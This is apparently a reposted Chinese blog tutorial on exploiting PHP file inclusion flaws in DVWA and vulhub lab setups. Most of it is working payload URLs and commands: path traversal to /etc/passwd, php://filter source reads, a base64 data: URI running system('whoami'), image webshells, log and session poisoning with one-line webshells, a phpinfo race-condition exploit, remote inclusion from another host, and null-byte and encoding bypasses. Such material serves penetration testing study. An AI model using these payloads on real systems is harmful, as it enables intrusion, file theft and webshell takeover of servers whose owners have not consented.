文件包含漏洞的几种利用

php中引起文件包含漏洞的4个函数:

include()、include_once()、require()、require_once()

本地文件包含

远程文件包含,需要php.ini中配置allow_url_fopen = On,allow_url_include = On 

1、读文件

http://192.168.80.128/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=index.php

http://192.168.80.128/dvwa/vulnerabilities/fi/?page=../../../../../../etc/passwd

2、写文件

(1)input

条件:

allow_url_include = On

allow_url_fopen不做要求

")?>

文件包含漏洞的几种利用_第1张图片
文件包含漏洞的几种利用_第2张图片

(2)data

条件:

php版本大于等于php5.2

allow_url_fopen = On

allow_url_include = On

http://192.168.88.130/dvwa/vulnerabilities/fi/?page=data:text/plain,

http://192.168.88.130/dvwa/vulnerabilities/fi/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==

3、包含图片马

copy 1.jpg/b+1.php 2.jpg

http://192.168.80.128/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/2.jpg

4、包含日志文件

(1)Apache日志

url中插入一句话,为了防止url编码,需要在burp中访问

user-agent中插入一句话

文件包含漏洞的几种利用_第3张图片
文件包含漏洞的几种利用_第4张图片

使用菜刀连接

http://192.168.80.131/dvwa/vulnerabilities/fi/?page=../../../../../../var/log/apache2/access.log


(2)ftp日志

ftp连接时,用户名输入一句话木马

http://192.168.80.131/dvwa/vulnerabilities/fi/?page=../../../../../../var/log/vsftpd.log

(3)ssh日志

ssh -p 22 ""@192.168.88.130

访问http://192.168.88.130/dvwa/vulnerabilities/fi/?page=../../../../../var/log/auth.log


5、包含session文件

利用:结合phpmyadmin,因为phpmyadmin每次登录时,会带上session

文件包含漏洞的几种利用_第5张图片

session文件的绝对路径可在phpinfo中查看,session.save_path

文件包含漏洞的几种利用_第6张图片

使用以下命令可查看到session文件中的登录信息

strings /var/lib/php5/sess_0147039e2884573b9034866a4c212ec336abc054 | grep 11112222

登录phpmyadmin时,用户名输入一句话木马,再包含session文件,可getshell

文件包含漏洞的几种利用_第7张图片

使用菜刀连接

http://192.168.88.130/dvwa/vulnerabilities/fi/?page=../../../../../var/lib/php5/sess_0147039e2884573b9034866a4c212ec336abc054

6、包含临时文件

php中上传文件时,会先创建临时文件;结合竞争条件,在临时文件被删除前,利用文件包含漏洞包含临时文件。

利用:结合phpinfo,因为向phpinfo页面发送数据包后,从返回包中可匹配出临时文件名。

步骤:

1、发送包含webshell的数据包给phpinfo页面,数据包中塞入大量垃圾数据

2、php默认的输出缓冲区大小为4096字节

3、我们每次读取4096字节,只要读到临时文件名,就立即发送第二个数据包

4、第二个数据包,就是文件包含漏洞利用的数据包

5、利用这个时间差,即可成功包含临时文件,实现getshell

python exp.py 192.168.88.152 8080 100

访问http://192.168.88.152:8080/lfi.php?file=/tmp/g&1=system(%27id%27);

文件包含漏洞的几种利用_第8张图片

参考:https://vulhub.org/#/environments/php/inclusion/

7、包含远程文件

条件:

allow_url_fopen = On

allow_url_include = On

http://192.168.80.131/dvwa/vulnerabilities/fi/?page=http://192.168.123.101/caidao.jpg

8、绕过姿势

本地文件包含的绕过

(1)%00 截断(php版本小于5.3)

http://192.168.80.131/dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd%00

(2)编码%2e%2e%2f

http://192.168.80.131/dvwa/vulnerabilities/fi/?page=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd

远程文件包含的绕过

(1)?号

http://192.168.88.130/dvwa/vulnerabilities/fi/?page=http://192.168.40.155/1.txt?

(2)#号

http://192.168.88.130/dvwa/vulnerabilities/fi/?page=http://192.168.40.155/1.txt%23

你可能感兴趣的:(文件包含漏洞的几种利用)